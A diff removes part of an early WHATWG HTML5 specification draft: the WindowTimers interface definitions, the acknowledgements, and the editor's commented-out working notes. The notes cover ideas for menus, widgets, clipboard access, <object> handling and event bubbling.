-  void <a href="#cleartimeout">clearTimeout</a>(in long handle);
-  long <a href="#setinterval...">setInterval</a>(in <a href="#timeouthandler">TimeoutHandler</a> handler, in long timeout);
-  long <a href="#setinterval...">setInterval</a>(in <a href="#timeouthandler">TimeoutHandler</a> handler, in long timeout, <var title="">arguments...</var>);
-  long <a href="#setinterval...">setInterval</a>(in DOMString code, in long timeout);
-  long <a href="#setinterval...">setInterval</a>(in DOMString code, in long timeout, in DOMString language);
-  void <a href="#clearinterval">clearInterval</a>(in long handle);
-};
-
-interface <dfn id=timeouthandler>TimeoutHandler</dfn> {
-  void handleEvent(<var title="">arguments...</var>);
-};
-</pre>
-
-  <p>The <code><a href="#windowtimers">WindowTimers</a></code> interface must
-   be obtainable from any <code>Window</code> object using binding-specific
-   casting methods.
-
-  <p>The <code><a href="#settimeout">setTimeout</a></code> and <code><a
-   href="#setinterval...">setInterval</a></code> methods allow authors to
-   schedule timer-based events.
-
-  <p>The <dfn id=settimeout title=setTimeout><code>setTimeout(<var
-   title="">handler</var>, <var title="">timeout</var>[, <var
-   title="">arguments...</var>])</code></dfn> method takes a reference to a
-   <code><a href="#timeouthandler">TimeoutHandler</a></code> object and a
-   length of time in milliseconds. It must return a handle to the timeout
-   created, and then asynchronously wait <var title="">timeout</var>
-   milliseconds and then invoke <code>handleEvent()</code> on the <var
-   title="">handler</var> object. If any <var title="">arguments...</var>
-   were provided, they must be passed to the <var title="">handler</var> as
-   arguments to the <code>handleEvent()</code> function.
-
-  <p>In the ECMAScript DOM binding, the ECMAScript native
-   <code>Function</code> type must implement the <code><a
-   href="#timeouthandler">TimeoutHandler</a></code> interface such that
-   invoking the <code>handleEvent()</code> method of that interface on the
-   object from another language binding invokes the function itself, with the
-   arguments passed to <code>handleEvent()</code> as the arguments passed to
-   the function. In the ECMAScript DOM binding itself, however, the
-   <code>handleEvent()</code> method of the interface is not directly
-   accessible on <code>Function</code> objects. Such functions must be called
-   in the global scope.
-
-  <p>Alternatively, <dfn id=settimeout0 title=""><code>setTimeout(<var
-   title="">code</var>, <var title="">timeout</var>[, <var
-   title="">language</var>])</code></dfn> may be used. This variant takes a
-   string instead of a <code><a
-   href="#timeouthandler">TimeoutHandler</a></code> object. That string must
-   be parsed using the specified <var title="">language</var> (defaulting to
-   ECMAScript if the third argument is omitted) and executed in the global
-   scope.
-
-  <p class=big-issue>Need to define <var title="">language</var> values.
-
-  <p>The <dfn id=setinterval...><code>setInterval(...)</code></dfn> variants
-   must work in the same way as the <code><a
-   href="#settimeout">setTimeout</a></code> variants except that the <var
-   title="">handler</var> or <code><a href="#code0">code</a></code> must be
-   invoked again every <var title="">timeout</var> milliseconds, not just the
-   once.
-
-  <p>The <dfn id=cleartimeout><code>clearTimeout()</code></dfn> and <dfn
-   id=clearinterval><code>clearInterval()</code></dfn> methods take one
-   integer (the value returned by <code><a
-   href="#settimeout">setTimeout</a></code> and <code><a
-   href="#setinterval...">setInterval</a></code> respectively) and must
-   cancel the specified timeout. When called with a value that does not
-   correspond to an active timeout or interval, the methods must return
-   without doing anything.
-
-  <p>Timeouts must never fire while another script is executing. (Thus the
-   HTML scripting model is strictly single-threaded and not reentrant.)
-
-  <h2 class=no-num id=references>References</h2>
-
-  <p class=big-issue>This section will be written in a future
-   draft.<!--XXX-->
-
-  <h2 class=no-num id=acknowledgements>Acknowledgements</h2>
-
-  <p>Thanks to Aankhen, Aaron Leventhal, Alexey Feldgendler, Anne van
-   Kesteren, Anthony Hickson, AsbjAMPERSANDoslash;rn Ulsberg, Ben Godfrey, Ben
-   Meadowcroft, Benjamin Hawkes-Lewis, Bjoern Hoehrmann, Boris Zbarsky, Brad
-   Fults, Brad Neuberg, Brendan Eich, Brett Wilson, Channy Yun, Charl van
-   Niekerk<!--status.whatwg.org maintainer-->, Christian Biesinger, Christian
-   Johansen, Chriswa, Daniel Peng, Darin Fisher, Dave
-   Townsend<!-- Mossop on moz irc -->, David Baron, David Flanagan, David
-   Hyatt, Derek Featherstone, Dimitri Glazkov, dolphinling, Doron Rosenberg,
-   Eira Monstad, Elliotte Harold, Erik Arvidsson, fantasai, Franck 'Shift'
-   QuAMPERSANDeacute;lain, HAMPERSANDaring;kon Wium Lie, Henri Sivonen, Henrik Lied, Ignacio
-   Javier, J. King, James Graham, James M Snell, James Perrett, Jan-Klaas
-   Kollhof, Jasper Bryant-Greene, Jens Bannmann, Joel Spolsky, Johnny
-   Stenback, Jon Perlow, Jonathan Worent, Jukka K. Korpela, Kai Hendry,
-   Kornel Lesinski, Lachlan Hunt, Larry Page, Laurens Holst, Lenny Domnitser,
-   LAMPERSANDeacute;onard Bouchet, Leons Petrazickis, Logan<!-- on moz irc -->,
-   Maciej Stachowiak, Malcolm Rowe, Mark Nottingham, Mark Schenk, Martijn
-   Wargers, Martin Honnen, Matthew Mastracci, Matthew Raymond, Matthew
-   Thomas, Mattias Waldau, Max Romantschuk, Michael 'Ratt' Iannarelli,
-   Michael A. Nachbaur, Michael Gratton, Michel Fortin, Mihai
-   AMPERSAND#x015E;ucan<!-- from ROBO Design -->, Mike Schinkel, Mike Shaver, Mikko
-   Rantalainen, Neil Deakin, Olav Junker KjAMPERSANDaelig;r, Rimantas Liubertas,
-   Robert O'Callahan, Robert Sayre, Roman Ivanov, S. Mike Dierken, Sam Ruby,
-   Shadow2531, Shaun Inman, Simon Pieters, Stephen Ma, Steve Runyon, Steven
-   Garrity, Stewart Brodie, Stuart Parmenter, Tantek AMPERSANDCcedil;elik, Thomas
-   Broyer, Thomas O'Connor, Tim Altman, Vladimir VukiAMPERSAND#x0107;eviAMPERSAND#x0107;,
-   William Swanson, and everyone on the WHATWG mailing list for their useful
-   and substantial comments.
-
-  <p>Special thanks to Richard Williamson for creating the first
-   implementation of <code><a href="#canvas">canvas</a></code> in Safari,
-   from which the canvas feature was designed.
-
-  <p>Special thanks also to the Microsoft employees who first implemented the
-   event-based drag-and-drop mechanism, <code title=attr-contenteditable><a
-   href="#contenteditable0">contenteditable</a></code>, and other features
-   first widely deployed by the Windows Internet Explorer browser.
-
-  <p>Special thanks and $10,000 to David Hyatt who came up with a broken
-   implementation of the <a href="#adoptionAgency">adoption agency
-   algorithm</a> that the editor had to reverse engineer and fix before using
-   it in the parsing section.
-
-  <p>Thanks also the Microsoft blogging community for some ideas, to the
-   attendees of the W3C Workshop on Web Applications and Compound Documents
-   for inspiration, and to the #mrt crew, the #mrt.no crew, and the cabal for
-   their ideas and support.</p>
-  <!-- Hopefully Kam won't notice he's covered by these
-  acknowledgements three times! -->
-  <!--
- !  menus
-
-<hyatt> the ability to get the current focused window in a window hierarchy
-
-wizards
-tabbed interface
-
-Application object? http://longhorn.msdn.microsoft.com/lhsdk/ref/ns/msavalon.windows/c/application/application.aspx
-
-<input type="text" menu="foo" icon="g.png"/> <menu id="foo"> <menuitem icon="g.png" onclick="engine('google')">Google</menuitem> ... </menu>
-
-> One more aspect I want you think about - for "user interface systems" in
-> general: The windowing system.
->   Different kinds of windows ("document", "browser (file-system/network or
-> otherwise)", "palette", "application modal dialog", "system modal dialog"),
-> the rules for layering them (appropriately flexible to allow different
-> implementations, e.g. MacOS vs. X-Windows), and simplifications for handheld
-> devices (which are sometimes single window devices anyway, but sometimes
-> they are one "normal" window plus sometimes one "dialog" window on top.
-
-window.open for dialogs
-
-
-Thus, they lack things like proper windows, tree 
-widgets, menu bars, rich text areas and so forth. This is what I would 
-like XUL to solve. - Paul Prescod
-
-
-
-
-Olav:
-> <product> to indicate something you can buy, like a cd on amazon
-> or a biker jacket at harleydavidson.com
-
-
-Drop downs often have a title for when there is no selection.
-
-http://www.w3.org/mid/BAY1-F150PNOkJvX41K000418e1@hotmail.com
-
-http://crew.tweakers.net/crisp/newlayout/index.html
-http://crew.tweakers.net/crisp/newlayout/list_topics.html
-http://crew.tweakers.net/crisp/newlayout/list_messages.html
-http://crew.tweakers.net/crisp/newlayout/list_messages_mod.html
-
-http://mail.mozilla.org/private/gui-toolkit/2004-April/000041.html
-
-> > > A standard for rich edit widgets would also be of interest to me.
-> >
-> > As in WYSIWIG editing? Of the bold/italic/underline/larger/smaller kind?
-> > 
-> > Or do you mean as in the bare bones to be able to build an editor on top
-> > of? As in something that basically just gives you a cursor and the ability
-> > to tell where the selection is and some way to hook into the Undo
-> > functionality?
-> 
-> I have use cases for both...I have a more desperate business need for
-> the latter (and have build apps using the gross APIs out there today)
-> but there are a lot of circumstances where an editor that already has
-> all standard HTML editing behaviour would be fine.
->
-- Paul Prescod
-
- * a way of selecting rows, so that you can declaratively have buttons
-   outside the template that move a "selected row" around. => web apps
-
-
-Calendar with list of days that have events (think: blog calendars)
-
-Find object at (x,y)
-Find mouse position
-
-Styling scrollbars:
-
-   ::scrollbars { ... }
-
-
-table of contents?
-
-
-http://www.gadgetopia.com/2004/05/04/FileIconTag.html
-
-
-on going back
-on going forward
-on came from back
-on came from forward
-better state serialisation for going back/forward
-
-
-some sort of markup to tell google _not_ to index a particular part of the site
-
-drop down menu with URIs to replace the silly <select> hacks.
-
-http://www.cs.tut.fi/~jkorpela/html/em.html
-
-<htmlarea>, <xmlarea>...
-
-> 3) Extensible syntax highlighting (coloring). I am aware that a ton of
-> code editors don't even do this well. The ability to load a syntax
-> definition file and have it color a block of code would do wonders for
-> making the web a more friendly place to script.
- - Ryan Johnson
-
-toolbars, status bars. - Didier PH Martin
-
-   * methods/properties for scrolling managing, especially in
-   TextArea, such as .scrollTop and .scrollHeight in Mozilla and -
-
-
-Robert Bateman:
-
-   I've looked thru as many of the examples from around the web as I can find and
-   don't see an obvious way to do date calculations.
-
-   What I'm trying to do is populate an xsd:date field with now() plus 5 days as
-   it's default value.  The field in question is a proposed "due date" for a
-   work order.
-
-   I've seen that I can get a "difference" between two dates, but no
-   calculations.
-
-
-Wladimir Palant pointed out problems with chunking with server-sent-events
-
-
-
-> 2.  Some method of integration to allow Web apps to respond
->      to the browser's Cut, Copy, Paste, and Select All menu
->      items and keyboard equivalents. These work automatically
->      for text fields in any Web application; it would be
->      great if apps could make them work for stocks, address
->      book cards, message attachments, transactions, photos,
->      and so on too.
->
->      I'd add Undo and Redo to that list, but unfortunately
->      IE6 doesn't have Undo and Redo menu items.
- - mpt
-
-
-
->> maybe except for the server sent events and the clipboard
->> api (but even in those cases it might be possible).
->
-> Clipboard API I don't really want to see, given the problems IE's
-> implementation of such brought up. A better standardised drag-and-drop
-> interface would be great though, as doing it with mouse events and IE's
-> proprietary events is annoying-to-impossible to get right all the time.
->
-> I really like the idea of server-side events, though I would prefer to
-> have them set up by a scripting call rather than an HTML element.
- - Andrew Clover
-
-
-    <html application="application">
-
-...would, instead of showing the Web page itself, the first time, show
-(inline in the browser):
-
-  :::: Security Warning :::::::::::::::::::::::::::::::::::::
-  ::                                                       ::
-  ::  The Web page at this domain:                         ::
-  ::                                                       ':
-  ::     paypcl.com                                        
-  ::                                                       
-  ::  ...wishes to launch an application in a separate     
-  ::  window. Do you trust this domain?                    
-  ::                                                       
-  ::  [x] Remember this decision.                          
-  ::                                                       
-  ::      (( Trust paypcl.com ))  ( Display as Web page )  
-  ::                                                      
-  :::::.
-- (spurred on by Jose Dinuncio)
-
-
-  :::: Security Warning :::::::::::::::::::::::::::::::::::::
-  ::                                                       ::
-  ::  This Web page wishes to launch an application in a   ::
-  ::  separate window. Do you trust this domain?           ::
-  ::                                                       ::
-  ::     paypcl.com                                         '
-  ::                                                       
-  ::             ( Trust this site for now )
-  ::
-  ::              ( Always trust this site )
-  ::
-  ::              (( Display as Web page ))
-  ::                                                      
-  :::::.
-
-
-breadcrumb navigation markup
-other markup:
-   http://www.stuffandnonsense.co.uk/archives/whats_in_a_name_pt2.html
-
-
-common icons: http://www.intersmash.com/300images/
-
-
-http://www.gadgetopia.com/2004/06/18/DoYouWantToSaveYourChanges.html#Comments
-
-http://www.mojavelinux.com/cooker/demos/domTT/index.html
-
-http://www.mozilla.org/projects/ui/accessibility/dynamic-accessibility.html
-
-http://blog.colorstudy.com/ianb/weblog/2004/06/23.html
-http://daringfireball.net/2004/06/location_field
-
-listview/gridview API
-http://www.activewidgets.com/grid/
-
-
-> I would rather have it that changing the dom attribute 'value' or typing
-> in the textarea, would also change the contents of the textnode in the
-> textarea.
->
-> In that way the dom level 2 traversal and range specification would not
-> be useless for textarea's.
-> 
-> The same goes for input text controls and probably also for other form
-> controls.
- - martijnw
-
-
-
-1. point to an xml instance and cause the page to be filled in
-2. serialise the site to a version of that xml instance
-
-<menu>
- <li state="bar"/>
-</menu>
-<button state="bar"/>
-<state id="bar" label="" disabled="" value=""/>
-
-<input state="foo"/>
-<input state="foo"/>
-<input state="foo 2"/>
-<input state="foo 2"/>
-<state id="foo" model="x" ref="cat:orderLine[$v1]/cat:foo"/>
-
-<instance src=""/>
-
-<instance id="x">
-
-<Order xmlns="urn:oasis:names:tc:ubl:Order:1.0:0.70" xmlns:cat="urn:oasis:names:tc:ubl:CommonAggregateTypes:1.0:0.70">
-  <cat:ID/>
-  <cat:IssueDate/>
-  <cat:LineExtensionTotalAmount currencyID="USD"/>
-  <cat:BuyerParty>
-    <cat:ID/>
-    <cat:PartyName>
-      <cat:Name/>
-    </cat:PartyName>
-    <cat:Address>
-      <cat:ID/>
-      <cat:Street/>
-      <cat:CityName/>
-      <cat:PostalZone/>
-      <cat:CountrySub-Entity/>
-    </cat:Address>
-    <cat:BuyerContact>
-      <cat:ID/>
-      <cat:Name/>
-    </cat:BuyerContact>
-  </cat:BuyerParty>
-  <cat:SellerParty>
-    <cat:ID/>
-    <cat:PartyName>
-      <cat:Name/>
-    </cat:PartyName>
-    <cat:Address>
-      <cat:ID/>
-      <cat:Street/>
-      <cat:CityName/>
-      <cat:CountrySub-Entity/>
-    </cat:Address>
-  </cat:SellerParty>
-  <cat:DeliveryTerms>
-    <cat:ID/>
-    <cat:SpecialTerms/>
-  </cat:DeliveryTerms>
-  <cat:OrderLine>
-    <cat:BuyersID/>
-    <cat:SellersID/>
-    <cat:LineExtensionAmount currencyID=""/>
-    <cat:Quantity unitCode="">1</cat:Quantity>
-    <cat:Item>
-      <cat:ID/>
-      <cat:Description>Enter description here</cat:Description>
-      <cat:SellersItemIdentification>
-        <cat:ID>Enter part number here</cat:ID>
-      </cat:SellersItemIdentification>
-      <cat:BasePrice>
-        <cat:PriceAmount currencyID="">0.00</cat:PriceAmount>
-      </cat:BasePrice>
-    </cat:Item>
-  </cat:OrderLine>
-</Order> 
-
-</instance>
-
-
-
-
-  <h2>Tree and List Widgets</h2>
-   click item to go uri
-   doube click to submit form with value
-   sort list by any column
-   specify column headers, column sort types
-   specify data inline, or out of band
-   data can be linear or a one way tree
-   rows can have an icon associated with them
-   rows can have overlays associated with them
-
- progress meter
-
-    http://www.gazingus.org/html/menuDropdown.html
-
-
-
-Disclosure triangles
-
-
-I think UAs should automatically highlight the accesskey (or add it in    
-brackets if it isn't already in the string). I am thinking of writing some
-text - optional, of course, since this wouldn't apply to all UAs or all  
-platforms - that specifies this.
-
-I also think that there should be an accesskey value which is basically   
-"auto", and which picks a non-clashing access key based on the element    
-content.
-
-
-
-| adding HTTP authentication capabilities to HTML allow sites to:
-|   - remove a site's authentication state from the browser when
-|     activated (i.e., a "log out" interface)
-|   - add user data to a site's authentication state in the browser
-|     (i.e., "log on" interfaces)
-|   - display the user's current authentication state
-| 
-| There are a few good reasons to do this. Many sites use cookies to
-| authenticate users, because HTTP authentication doesn't have any
-| mechanism to allow logging out (a key requirement of financial
-| institutions and other sensitive applications), and because the UI for
-| HTTP authentication can't be controlled, and doesn't offer an
-| "anyonymous" / "not logged in" view.
-| 
-| By accommodating HTTP authentication in Web forms, it will be possible
-| to have styled, custom "log on" interfaces as part of pages, as well
-| as "log out" facilities, while still retaining the benefits of HTTP
-| authentication.
-| 
-| Specifically, HTTP authentication is more secure than cookies (when
-| Digest auth is used), and is more amenable to automated processes
-| (agents, spiders, etc.) as well as alternate browsing devices (screen
-| readers, etc.).
-
-
-http://jogin.com/weblog/archives/2004/07/19/hierarchy
-
-
-Yeah, <header> and <footer> or similar elements are almost certainly going
-to be defined at some point, along with <content> (for the main body of
-the page), <entry> or <post> or <article> to refer to a unit of text
-bigger than a section but smaller than a page, <aside> to mean a
-side bar, <note> to mean a note... and so forth. Suggestions welcome.     
-We'll probably keep it to a minimum though. The idea is just to relieve   
-the most common pseudo-semantic uses of <div>.
-
-
-http://lxr.mozilla.org/seamonkey/source/dom/public/idl/base/nsIDOMWindow.idl
-scrollBy, etc
-http://lxr.mozilla.org/seamonkey/source/dom/public/idl/base/nsIDOMWindowInternal.idl
-DOM level 0
-
-
-DH: I was arguing that you should be able to get the CSS info for
-document fragments if you had an owner document with CSS in it.
-
-
-
-So maybe:
-
-   var library = new ZipFile("data.zip");
-   library.onload = function() {
-      var sound1 = library.getAudio("sound1.wav"); // returns an Audio object
-      var image1 = library.getImage("image1.png"); // returns an HTMLImageElement
-      var doc1 = library.getXMLDocument("doc1.xml"); // returns a Document
-      var doc2 = library.getHTMLDocument("doc1.html"); // returns an HTMLDocument
-   }
-
-Also maybe supporting more than one file at a time:
-
-   var library = new ResourceLoader("data.zip");
-   library.add("moredata.zip");
-   library.onload = function() { ... }
-   library.onloading = function() {
-      reportLoadProgress(library.progress); // 0.0 .. 1.0
-   }
-
-...although I'm not sure how we would then deal with filename clashes.
-
-   var library = new AudioZip("sounds.zip");
-   library.onload = function() {
-      var sound1 = library["sound1.wav"];
-      sound.play();
-   }
-
-
-If we define onbeforeunload, then we have to say that the JS
-implementation of EventListener::handleEvent checks for that event,
-treating the return value as the string to use for the unload warning
-message if there is a return value, and calling preventDefault if
-there isn't.
-
-
-> > > Schematic editors, layout editors, interactive maps, data 
-> > > visualization for network flows, etc.
-> Searching the web for the above keywords should find you a lot more.
- - Denis Bohm
-
-
-
-Jens Meiert:
-- For non-native English speakers, it's sometimes difficult to understand
-the difference between <cite /> and <quote />, since citations often seem to
-be quoted, too (this is a presentational aspect, I know).
-- Is it right that the <dfn /> element [1] /must/ be used only in the
-context of the definition of the enclosed term (as the example suggests)?
-(If so, wouldn't it be useful to add this note, too?)
-
-
-http://secunia.com/advisories/9711/
-In particular number 7. - Chris Hofmann
-
-
-> [1] http://www.stopdesign.com/log/2004/08/25/microsoft-advances.html
-> [2] http://www.stopdesign.com/articles/throwing_tables/
-
-
-In other areas, however, the replacement is not a match in terms of functionality. Like it or not, but showModalDialog is a better way to provide feature-rich user feedback windows than window.confirm (which Firefox supports, even though there is NO PUBLIC STANDARD for it). With showModalDialog, I can pop a window offering "Yes," "No," or "Cancel" buttons that requires a response before proceeding. With window.confirm, I have to craft all my questions as something to which "OK" or "Cancel" makes sense, never mind asking for three, four, or five state responses.
-- http://news.zdnet.com/2100-9588-5438955.html ( John Carroll )
-
-
-
-> http://channel9.msdn.com/wiki/default.aspx/Channel9.InternetExplorerFeatureRequests
->    Alternate way of caching content
->    Avalon Integration
->    getData/setData improvement (clipboardData)
->    Input type=file improvements
->    HTML editing: Editing Tables
->    Input type=file improvements
->    .NET framework
->    
-> http://channel9.msdn.com/wiki/default.aspx/Channel9.InternetExplorerOutrageous
->     Some decent controls
- - lachlan.hunt@lachy.id.au
-
-
-http://lists.w3.org/Archives/Member/w3c-html-wg/2004JulSep/att-0135/role072704a.html
-
-
-> I've encountered two situations where setting or retrieving the caret
-> position would be useful.  The first is a situation where I'd like to
-> apply an input mask to a text box.  For example, I'd like the ability to
-> create a text box where the date delimiters (dashes or slashes) appear  
-> automatically in a text box upon entering the field, and when the user  
-> types in the field, it fills into the appropriate spaces in the input    
-> box and sets the text selection to the next appropriate position, all    
-> while allowing the user to reposition the cursor within the text box     
-> with a keyboard or mouse without being able to edit or delete the
-> delimiters (dashes or slashes).  This would be very similar to input
-> mask features in certain native apps that I've used.
- - Greg Kilwein
-
-> The second situation is an application that would like to highlight text  
-> in a text box or textarea for the purposes of a spell check, thesaurus, 
-> or search-and-replace operation.
- - Greg Kilwein
-
-
-
-
-HTMLImageElement.click(x, y); (for Csaba Gabor)
-or clickPoint, if click() can't be done in IE
-can this be emulated in IE by posting a synthetic moue click event
-with those X and Y coords?
-
-
-<menulabel>, or rather menus in general, need an icon attribute and a
-hide attribute, like the <command> element.
-
-
-What about safe clipboard access.
-As discussed before by others as well:
-The user initiates a paste action as recognized by the UISystem the user is working in.
-E.g pressing Ctrl-V or selecting paste from a context menu.
-An event is fired and a Listener can now access the pasted data as part of the event object.
-The same for cut and copy. The Listner can set data as part of the event object.
-This is safe and will not allow any script to mess with the clipboard without the user specifically asking for it
-by initiating a cut/copy/paste action.
- -  Jan-Klaas Kollhof
-
-
-Need to say that NodeList's items are enumerable, so that for (var x in myNodeList) { } works.
- thank Dethe Elza
-
-rel="" on submit buttons?
-
-what does <label> _mean_? how about an empty one, one which contains
-more than one control, no controls?
-
-
-data: URIs and same-origin policy when navigated to from http:?
- - Hallvord Reiar Michaelsen Steen
-
-
-need conformance section for editors, which says stuff like "can't be
-conforming if editor has an "italics" button"
-
-people want multiline tooltips with explicit line breaks
-
-
-
-attributes of type ID that have no value beyond the empty string do
-not give the element an ID of "".
-
-
-ability for a web app to save a file to the local disk:
-   var file = window.openFile(); // throws up UI
-   file.read();
-   var file = window.saveAsFile(); // throws up UI
-   file.write();
-...or something? Or use data: URIs and right-click-to-save?
-
-http://lxr.mozilla.org/mozilla/source/dom/public/idl/html/nsIDOMNSHTMLDocument.idl
-
-
-  <p><em>This section is non-normative.</em></p>
-
-
-how to handle 404s and 500s and other non-OK responses when it comes
-to <script>, <link>, <style>, etc.
-
-
-normative classes:
-  -example
-  -note
-  -warning
-  -issue
-  hCard, hCalendar
-  wiki based registration, first come first served
-   * class:
-   * applies to elements:
-   * processing model:
-   * status:
-
-
-<Hixie> vlad: you should define what the UA should do with out-of-order aDATs
-<pav> its an error
-<pav> pretty sure we say that somewhere
-<Hixie> yes i know it's an error
-<Hixie> but that doesn't say what the UA should do
-<pav> error == image is invalid
-<vlad> yep
-<vlad> either broken image icon
-<vlad> or display first frame (fall back to normal PNG)
-<vlad> up to the UA
-<Hixie> right
-<Hixie> you should say which one
-<pav> its up to the UA
-<Hixie> why?
-<vlad> "SHOULD display the first frame, but MAY display broken image icon if that's not convenient", in rfc parlance
-<vlad> because it's not useful to specify that, IMO
-<Hixie> up to the UA means one UA will implement something, it'll become a popular UA, then all the others will have to copy it.
-<vlad> how a UA wants to handle image errors is up to the UA
-<pav> we're designing an image format, not the html image tag
-<pav> the html spec should say what to do with it
-
-
-should we say that elements in HTML must be lowercase? (but with error
-handling for uppercase tags, obviously)? If so, update examples.
-
-<title> is for out of context headers
-<h1> is for in-context headers
-
-The parsing rules of HTML
-
-media="" is case-insensitive
-case-sensitivity of other attributes, and what it means
-
-empty title attribute is equivalent to missing attribute for purposes
-of alternate style sheet processing
-
-
-<p>s that contain <ul><ol><table><dl><blockquote>? (did we get all those?)
-
-
-
-> I'd like search engines to be able to show me the title of a page in the
-> same consistent position in a search result, and the name of the site
-> (if available) in the same consistent position in a search result, and
-> the name of the author (if available) in the same consistent position in
-> a search result.
->  
-> For that to happen, it would help slightly if the HTML specification
-> stopped SHOULD-ing the current <title> behavior. It would help more if
-> the HTML specification contained clear, straightforward markup for
-> author and site name (and encouraged UAs to present this information   
-> when the document is taken out of context).
-
-   <title site="" publisher="" author="">Page Title</title>
-   <title>Page Title - <site></site> - <author></author> (<publisher></publisher>)</title>
-
-   <title>Page Title</title>
-   <link rel="top" title="" href="">
-   <link rel="publisher" title="" href="">
-   <link rel="author" title="" href="">
-
-
- h1 is styled appropriately, h2 to h6 are styled according to legacy.
-
-
-[onclick] should make element focusable; enter should send onclick
-
-define implied <html>, <head>, <body>, <p>, </p>, etc.
-
-http://www.aujsproduction.com/samples/wishlist/revampedselector.asp
-
-
-interactive elements can't be nested (as in <a><button><input></button></a>)
-
-
-need a summary of all the content models and how they interact:
-   a | interactive strictly inline-level element   | where inline-level content is expected | strictly inline-level content  | interactive elements must not be nested
-   i | strictly inline-level element               | where inline-level content is expected | strictly inline-level content  |
-  em | strictly inline-level element               | where inline-level content is expected | inline-level content           |
-   p | block-level element, structured inline-     | where block-level content is expected, | inline-level content           | must not be nested
-     | level element                               | where inline-level content is expected |                                |
-...etc
-
-
-need a summary of the differences between the HTML and XML serialisations.
-e.g. how <p><ul> is allowed in one but not the other
-
-
-
-Google suggest: oninput -> submit a form whose only contents is the
-drop down list which you refresh (<datalist>).
-
-Inline editing of <select multiple=""> boxes
-
-image buttons shouldn't be used unless you want the coordinate
-
-need for the spec to say something about sending proprietary data over
-the network, e.j. in XMLHttpRequest and other data streams. Is it ok,
-if the page is doing the translation?
-
-built-in spell-checking in <input type="text">, <textarea>
-
-author-driven highlighting of individual words in text fields
-
-
-support access Array element via () instead of [] (IEism)
-- https://bugzilla.mozilla.org/show_bug.cgi?id=289876
-
-
-atom can do this:
-       <author>
-         <name>Mark Pilgrim</name>
-         <uri>http://example.org/</uri>
-         <email>f8dy@example.com</email>
-       </author>
-       <contributor>
-         <name>Sam Ruby</name>
-         <uri>http://intertwingly.net/blog/</uri>
-       </contributor>
-how do we do this in HTML5? (what's the use case?)
-
-how to interpret an HTML5 document for syndication
-http://hixie.ch/specs/hsf/hsf
-
-
-
-section "rendering HTML" has to cope with:
- <q> element's quotes
- <section> <h1>
- default margins and paddings for <ul>, <form>, etc.
-
-  <h4>The <code>q</code> element</h4>
-  <p class="big-issue">Need to deal with the quotemark problem without
-  adding verbose markup, breaking existing documents, or adding
-  redundant elements.</p>
-
-
-
-<Hixie> here's how <object> works (assuming you don't support ActiveX)
-<Hixie> 1. look at the data="" attribute. If it's not there, go to the step i'll label "bail" below.
-<Hixie> 2. fetch the file indicated by the data="" attribute.
-<Hixie> 3. while waiting for the MIME type, treat <object> as a replaced element of transparent nothingness, intrinsic size zero.
-<hyatt> (so we would honor width/height)
-<hyatt> (because it's replaced)
-<Hixie> (yes)
-<Hixie> 4. if the MIME type is a long time coming (e.g. DNS is being slow) then jump to the "bail" step below until you have the MIME type, then jump back to step 5.
-<Hixie> 5. Once you have the MIME type, examine it. If it's a plugin type, jump to the plugin step below. If it's an image, jump to the image step below. If it's a document type (HTML, XML, etc) jump to the iframe step below. Otherwise, you don't recognise it, and jump to the "bail" step.
-<Hixie> plugin step: collect all the <param> element children in the <object>. instantiate the plugin and pass the params to it.
-<Hixie> image step: render the <object> as if it was an <img>
-<Hixie> document step: render the <object> as if it was an <iframe>
-<Hixie> bail step: render the <object> as if it was a <span>
- - if there is no authoratative MIME type, then use the type="" attribute.
- - if type="" is something you know you don't support, you MAY not download it
- - if type="" is dynamically changed, do nothing
- - if data="" is dynamically changed, redo loop
-
-<hyatt> apparently your url can come from <param>
-<hyatt> not just the data attribute
-<hyatt> our code looks for params with "src", "movie", "code" and "url"
-<hyatt> and also tries to find the type on a param
-<Hixie> oh that's you trying to have hacky activex support
-<Hixie> opera does that too
-<hyatt> yeah we support activex versions of plugins that are common
-<hyatt> like flash and quicktime and realaudio
-<Hixie> that would be a step 1b. if no data attribute, then look for a <param> to get you a URL instead.
-<Hixie> and if you find one, carry on as if that was your data="".
-
-
-should have some text talking about the fact that it's ok if your page
-passes through a period of non-conformance while script is running,
-but that in between scripts it should be compliant.
-
-
-how to handle 205 reset content responses and other HTTP codes in
-response to link clicks, link clicks with target="" attributes,
-window.open(), the user typing a URI in the URL bar, etc.
-
-XXX Native code for fast sorting of many data?
-
-http://www.microsoft.com/mind/1097/directanim.asp
-
-
-events: onmousewheel
-<hyatt> with a wheelDelta field on the WheelEvent (whcih comes off UIEvent)
-<hyatt> but in OS X you can wheel horizontally 
-<hyatt> so we actually added wheelX, wheelY, and wheelZ
-<hyatt> with wheelDelta just mapping to wheelY for WinIE compat
-<Hixie_> oh i don't mind wheelZ, maybe we can even say ctrl+wheel should map to it on some platforms (windows)
-<hyatt> but if you hold down Shift+mouse wheel in mac apps on os x you'll wheel horizontally
-wheelDelta is multiples of 120
-http://msdn.microsoft.com/workshop/author/dhtml/reference/properties/wheeldelta.asp
-
-events:
-http://damowmow.com/temp/safari/WebCore-315/khtml/ecma/kjs_events.cpp
-
-Need to resolve whether <a rel=""> should affect an out-of-band UI (or
-whether it should just be a may), see
-https://bugs.opera.com/show_bug.cgi?id=169791
-
-
-should have appendix listing what was already implemented
-- http://www.xml.com/pub/a/2005/04/27/deviant.html
-
-| Hixie and Steven shared an item: in both XHTML2 and HTML5, it will
-| be possible to have a list child of a paragraph. That's good, from a
-| structural point of view. But that's bad, from a user's point of
-| view. Imagine you have a paragraph, with red background color. And
-| you have an unordered list in your clipboard. You place the caret at
-| the end of the paragraph and paste your list. Where does it end up?
-| In the paragraph or after it? Red background or not? I really fear
-| that, once again, document model authors are completely neglecting
-| the authoring side.
- - http://www.glazman.org/weblog/dotclear/index.php?2005/05/27/1055-adam-2
-
-need to define how to process MIME types in <style> and <script> and so forth.
-
-http://www.paulgraham.com/popular.html
-
-
-
-  <p>In the ECMAScript DOM binding, objects implementing this interface
-  can also be dereferenced using square bracket notation (e.g.
-  <code>foo[1]</code> or <code>foo["bar"]</code>). Dereferencing with
-  an integer index is equivalent to invoking the <code>item()</code>
-  method with that index, and dereferencing with a string index is
-  equivalent to invoking the <code>namedItem()</code> method with that
-  index.</p>
-
-
-"you have mail": bubble notification; flash taskbar button, 
-=> how do you stop advertisers?
-
-
-
-events should bubble from documents to Window
-
-say something about events fired on <body> -> document -> window, like
-onload? onpopstate is defined as body->html->doc->window; as is the
-local storage event. What about the old ones, how do they work? load,
-error, scroll, resize, etc?
-
-If we assuming that bubbling events bubble from document to window,
-then it seems reasonable for scroll events that bubble to be fired at
-the document if the window is resized, and scroll events that don't
